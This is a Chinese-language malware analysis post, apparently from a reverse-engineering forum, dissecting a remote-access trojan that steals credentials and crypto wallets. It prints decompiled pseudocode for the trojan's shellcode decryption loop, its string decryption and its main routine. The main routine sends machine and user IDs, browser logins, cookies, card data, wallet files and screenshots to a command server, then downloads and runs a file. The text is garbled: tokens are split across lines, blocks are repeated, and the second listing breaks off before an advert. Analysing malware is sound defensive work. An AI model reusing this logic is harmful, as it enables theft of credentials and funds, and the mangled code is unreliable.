样本来自https://www.52pojie.cn/forum.php?mod=viewthread&tid=1822151&extra=page%3D2%26filter%3Dauthor%26orderby%3Ddateline
该样本属于远控型病毒(trojan家族),上述文档已有分析,本文细化该病毒的加解密流程和执行流程
病毒主函数逻辑如下
47行之前,是初始化部分,形如ServerIP、Content-Type等病毒所用到的字符串都是解密后初始化的,MathineID是通过注册表查询的、UserName是通过API获取的,并且还判断了SID,如果SID是LocalSystem级别复制Explorer.exe的Token并用Token创建Explorer进程
84行之前,将mathineID和用户名以及configID连接起来,通过http发送到Server,并且设置了病毒当前目录
利用SHGetSpecialFolderPath函数分别遍历路径标识为0x1C,0x1A的文件夹,筛选local_state目录,从中查询login、Cookie、AutoFill、CredCard等信息,然后所有信息拼接,发送给Server(筛选的文件中包含"encrypt_key"和"status_version"字段才会被用sqlite3库解析上述信息)
利用SHGetSpecialFolderPath函数得到路径标识为0x1A的文件夹,然后遍历其下profile目录下的文件,用NSS3.dll解析登录、cookie、FormHistory等信息然后发送Server
利用SHGetSpecialFolderPath函数得到指定路径标识的文件夹,路径标识通过解析响应数据获取,然后选出该目录下符合条件的文件(条件也是解析响应数据获得),复制文件,将复制文件名,文件句柄,备注信息发送到Server,备注信息中有wallet字样,推测目的可能是获取wallet信息
利用GetLogicalDriveStringsW函数得到盘符,然后获取盘符下的wallet.dat文件,复制文件,将复制文件名,文件句柄,备注信息(盘名称、盘类型等)发送到Server
枚举盘符下的文件,筛选文件的条件,解析响应数据获得,将符合条件的文件复制,将复制文件名,文件句柄,备注信息(盘名称、盘类型等)发送到Server
EnumSystemFileAndSearchSpecifiedFileInfoToSend、
EnumSystemFileAndSearchSpecifiedFileInfoToSend2、
EnumSystemFileAndSearchSpecifiedFileInfoToSend3
利用SHGetSpecialFolderPath函数遍历路径标识为0x1A的文件夹,同样筛选文件的条件,解析响应数据获得,将符合条件的文件复制,将复制文件名,文件句柄,备注信息(盘名称、盘类型等)发送到Server
BitBltAndSendServer通过GDI库将屏幕视图保持到文件中,发到Server
文件名及后缀需要解析响应数据获得,下载文件到当前目录(AppDataLow)后,ShellExecute执行该文件
申请shellcode堆内存,并修改保护属性
解密、执行shellcode
shellcode申请堆内存,并在堆中构造病毒PE,最终覆盖到主模块基址
跳转到新PE入口点,解密病毒执行所需各种资源,最终执行病毒逻辑
申请shellcode堆内存,并修改保护属性
解密、执行shellcode
shellcode申请堆内存,并在堆中构造病毒PE,最终覆盖到主模块基址
跳转到新PE入口点,解密病毒执行所需各种资源,最终执行病毒逻辑
加密后的shellcode代码位于.data节,拷贝到堆内存后,执行解密
解密逻辑为每次解密
8
字节,低四字节记为low,高四字节记为high
加密后的shellcode代码位于.data节,拷贝到堆内存后,执行解密
解密逻辑为每次解密
8
字节,低四字节记为low,高四字节记为high
插入代码
```ULONG beta
=
0xC6EF3720
;
ULONG low
=
0
,high
=
0
;
for
(
int
k
=
0
;k<(shellcodeSize>>
3
);k
+
+
){
PULONG ptr
=
(PULONG)(shellcodebuf
+
k
*
8
);
low
=
ptr[
0
];
high
=
ptr[
1
];
for
(
int
i
=
0
;i<
0x20
;
+
+
i){
ULONG v4
=
low>>
5
;
ULONG v6
=
16
*
low
+
g_425760;
v6^
=
(low
+
beta)
high
-
=
(v6^(g_425764
+
v4));
low
-
=
((high
+
beta)^(g_42575c
+
(high>>
5
))^(g_425758
+
16
*
high))
beta
-
=
0x9E3779B9
;
}
ptr[
0
]
=
low;
ptr[
1
]
=
high;
}
插入代码
```ULONG beta
=
0xC6EF3720
;
ULONG low
=
0
,high
=
0
;
for
(
int
k
=
0
;k<(shellcodeSize>>
3
);k
+
+
){
PULONG ptr
=
(PULONG)(shellcodebuf
+
k
*
8
);
low
=
ptr[
0
];
high
=
ptr[
1
];
for
(
int
i
=
0
;i<
0x20
;
+
+
i){
ULONG v4
=
low>>
5
;
ULONG v6
=
16
*
low
+
g_425760;
v6^
=
(low
+
beta)
high
-
=
(v6^(g_425764
+
v4));
low
-
=
((high
+
beta)^(g_42575c
+
(high>>
5
))^(g_425758
+
16
*
high))
beta
-
=
0x9E3779B9
;
}
ptr[
0
]
=
low;
ptr[
1
]
=
high;
}
病毒发送http请求所用的content
-
Type
、Accept
-
Type
,以及函数、dll的字符串等是加密过的,在跳转到病毒PE入口点,执行病毒初始化过程中解密
解密函数 char
*
00412388
(char
*
ciphertext,char
*
salt,
int
count);
病毒发送http请求所用的content
-
Type
、Accept
-
Type
,以及函数、dll的字符串等是加密过的,在跳转到病毒PE入口点,执行病毒初始化过程中解密
解密函数 char
*
00412388
(char
*
ciphertext,char
*
salt,
int
count);
插入代码
```plaintextBuf
=
localAlloc();
for
(
int
i
=
0
;i<count;
+
+
i){
plaintextBuf[i]
=
ciphertext[i
%
strlen(ciphertext)]^salt[i];
}
return
plaintextBuf;
插入代码
```plaintextBuf
=
localAlloc();
for
(
int
i
=
0
;i<count;
+
+
i){
plaintextBuf[i]
=
ciphertext[i
%
strlen(ciphertext)]^salt[i];
}
return
plaintextBuf;
插入代码
```void main(){
CoInitialize(
0
);
Init();
/
/
执行病毒所需资源的解密
if
( !sub_41300C() )
{
ExitProcess(
0xE4u
);
}
szConfigIDValue
=
sub_415a13();
sub_4048DB();
if
( IsLocalSystemSID() )
CreateExplorerProcessWithDuplicatedToken();
szServerAddr
=
loc_4127FD)();
szContentType
=
dword_41D3B4;
lpszAcceptTypes
=
(LPCWSTR)dword_41D224;
pContentTypeBuf
=
(HLOCAL)sub_410533(szContentType,
1
);
pMachineIDBuf
=
(PWSTR)LocalAlloc_0(
0x40u
,
0x1000u
);
v5
=
(WCHAR
*
)LocalAlloc_0(
0x40u
,
0x618u
);
v6
=
(const WCHAR
*
)QueryMachineIDByRegedit();
v7
=
(const WCHAR
*
)GetUserName();
v5
=
StrCpyW(v5, dword_41D3F8);
v5
=
(const WCHAR
*
)concat(v5, v6);
/
/
拼接machineID值
v5
=
(const WCHAR
*
)concat(v5,
"|"
);
v5
=
(const WCHAR
*
)concat(v5, v7);
/
/
拼接用户名
v5
=
(const WCHAR
*
)concat(v5, dword_41D3A4);
/
/
拼接
"configId="
v5
=
(WCHAR
*
)concat(v5, (LPCWSTR)szConfigIDValue);
/
/
拼接configId值
pMachineIDBuf
=
StrCpyW(pMachineIDBuf, v5);
LocalFree(v5);
v41
=
(PWSTR)LocalAlloc_0(
0x40u
,
0x800u
);
reTry
=
0
while
(
1
)
{
wszServerAddr
=
fnMultiByteToWideChar(szServerAddr);
/
/
将网址多字节变为宽字节
v14
=
lstrlenW(szServerAddr);
if
( wszServerAddr[v14
-
1
] !
=
47
)
/
/
判断是不是“
/
"结尾
wszServerAddr
=
(LPCWSTR)concat(wszServerAddr, dword_41D27C);
/
/
网址和“
/
"拼接
pszResp
=
(LPCWSTR)SendMessage(wszServerAddr,
1
,pMachineIDBuf, (LPCWSTR)pContentTypeBuf, lpszAcceptTypes);
if
( lstrlenW( pszResp ) >
=
64
)
break
;
LocalFree((HLOCAL)wszServerAddr);
if
( !pszResp )
LocalFree(
0
);
reTry
+
+
;
if
( reTry >
=
5
)
goto LABEL_14;
}
v41
=
StrCpyW(v41, wszServerAddr);
LocalFree((HLOCAL)wszServerAddr);
LABEL_14:
LocalFree(pContentTypeBuf);
LocalFree(pMachineIDBuf);
pszAppDataPath
=
(PCWSTR)LocalAlloc_0(
0x40u
,
0x208u
);
GetAppDataPath(pszAppDataPath);
if
( pszResp )
{
LoadDllFromServer(pszResp,pszAppDataPath);
pStart
=
0
;
pszToken
=
StrStrW(pszResp,
"token:"
);
/
/
/
/
token
if
( !pszToken )
{
ExitProcess(
0xFFFFFFFF
);
}
pStart
=
(PWSTR)(((_BYTE
*
)pszToken
-
(_BYTE
*
)pszResp) >>
1
);
v39
=
LocalAlloc_0(
0x40u
,
0x100u
);
v16
=
lstrlenW(pszResp);
if
( !memcpy(v39,pStart
+
3
, v16) )
ExitProcess(
0xFFFFFFFE
);
v41
=
(PWSTR)concat(v41, (LPCWSTR)v39);
LocalFree(v39);
v17
=
(WCHAR
*
)LocalAlloc_0(
0x40u
,
0x208u
);
v18
=
StrCpyW(v17, pszAppDataPath);
v19
=
(const WCHAR
*
)concat(v18,
"\"); // "
\"
szNss3DllPath
=
(PWSTR)concat(v19, dword_41D42C);
v20
=
(WCHAR
*
)LocalAlloc_0(
0x40u
,
0x208u
);
v21
=
StrCpyW(v20, pszAppDataPath);
v22
=
(const WCHAR
*
)concat(v21,
"\"
);
szSqlite3DllPath
=
concat(v22, dword_41D550);
SetCurrentDirectoryW(pszAppDataPath);
/
/
AppData\LOcalLOw为当前路径
v23
=
(WCHAR
*
)LocalAlloc_0(
0x40u
,
0x5000u
);
GetEnvironmentVariableW(lpName, v23,
0x2800u
);
/
/
lpName:Path 环境变量名Path
v24
=
(const WCHAR
*
)concat(v23,
";"
);
/
/
环境变量拼接;
v25
=
(WCHAR
*
)concat(v24, pszAppDataPath);
/
/
将当前路径添加到环境变量
SetEnvironmentVariableW(lpName, v25);
LocalFree(v25);
v26
=
v41;
SendSystemInfoToServer(pszResp, v41);
pSqlite3DllBase
=
LoadLibraryW((LPCWSTR)szSqlite3DllPath);
/
/
加载sqlite3.dll
if
( pSqlite3DllBase)
EnumFileAndQueryInfoToSend(pszResp, v26);
pNss3DllBase
=
LoadLibraryW(szNss3DllPath );
if
( pNss3DllBase )
EnumFileAndQueryInfoToSend2(pNss3DllBase );
GetWalletInfoAndSend(pszResp,v26);
GetWalletDat((
int
)pszResp, (
int
)v26);
EnumDriveAndSearchSpecifiedFileInfoToSend(pszResp,v26);
EnumSystemFileAndSearchSpecifiedFileInfoToSend(pszResp, v26);
/
/
枚举文件
EnumSystemFileAndSearchSpecifiedFileInfoToSend2(pszResp,v26);
/
/
枚举文件
EnumSystemFileAndSearchSpecifiedFileInfoToSend3(pszResp, v26);
v30
=
lstrlenW(pszResp);
v38
=
LocalAlloc_0(
0x40u
,
2
*
v30);
if
( IsBitBlt(pszResp, (
int
)&v38) >
0
)
BitBltAndSendServer((LPCWSTR)v38, v26);
LocalFree(v38);
ExecuteShell(pszResp);
if
( pNss3DllBase )
FreeLibrary(pNss3DllBase);
DeleteFileW(szNss3DllPath);
LocalFree(szNss3DllPath);
if
( pSqlite3DllBase )
FreeLibrary(pSqlite3DllBase);
DeleteFileW((LPCWSTR)szSqlite3DllPath);
LocalFree(szSqlite3DllPath);
LocalFree(pszResp);
}
else
{
v26
=
v41;
}
LocalFree((HLOCAL)pszAppDataPath);
LocalFree(v26);
ExitProcess(
0
);
}
插入代码
```void main(){
CoInitialize(
0
);
Init();
/
/
执行病毒所需资源的解密
if
( !sub_41300C() )
{
ExitProcess(
0xE4u
);
}
szConfigIDValue
=
sub_415a13();
sub_4048DB();
if
( IsLocalSystemSID() )
CreateExplorerProcessWithDuplicatedToken();
szServerAddr
=
loc_4127FD)();
szContentType
=
dword_41D3B4;
lpszAcceptTypes
=
(LPCWSTR)dword_41D224;
pContentTypeBuf
=
(HLOCAL)sub_410533(szContentType,
1
);
pMachineIDBuf
=
(PWSTR)LocalAlloc_0(
0x40u
,
0x1000u
);
v5
=
(WCHAR
*
)LocalAlloc_0(
0x40u
,
0x618u
);
v6
=
(const WCHAR
*
)QueryMachineIDByRegedit();
v7
=
(const WCHAR
*
)GetUserName();
v5
=
StrCpyW(v5, dword_41D3F8);
v5
=
(const WCHAR
*
)concat(v5, v6);
/
/
拼接machineID值
v5
=
(const WCHAR
*
)concat(v5,
"|"
);
v5
=
(const WCHAR
*
)concat(v5, v7);
/
/
拼接用户名
v5
=
(const WCHAR
*
)concat(v5, dword_41D3A4);
/
/
拼接
"configId="
v5
=
(WCHAR
*
)concat(v5, (LPCWSTR)szConfigIDValue);
/
/
拼接configId值
pMachineIDBuf
=
StrCpyW(pMachineIDBuf, v5);
LocalFree(v5);
v41
=
(PWSTR)LocalAlloc_0(
0x40u
,
0x800u
);
reTry
=
0
while
(
1
)
{
wszServerAddr
=
fnMultiByteToWideChar(szServerAddr);
/
/
将网址多字节变为宽字节
v14
=
lstrlenW(szServerAddr);
if
( wszServerAddr[v14
-
1
] !
=
47
)
/
/
判断是不是“
/
"结尾
wszServerAddr
=
(LPCWSTR)concat(wszServerAddr, dword_41D27C);
/
/
网址和“
/
"拼接
pszResp
=
(LPCWSTR)SendMessage(wszServerAddr,
1
,pMachineIDBuf, (LPCWSTR)pContentTypeBuf, lpszAcceptTypes);
if
( lstrlenW( pszResp ) >
=
64
)
break
;
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2024-10-9 21:46
被mb_jonavsjj编辑
,原因: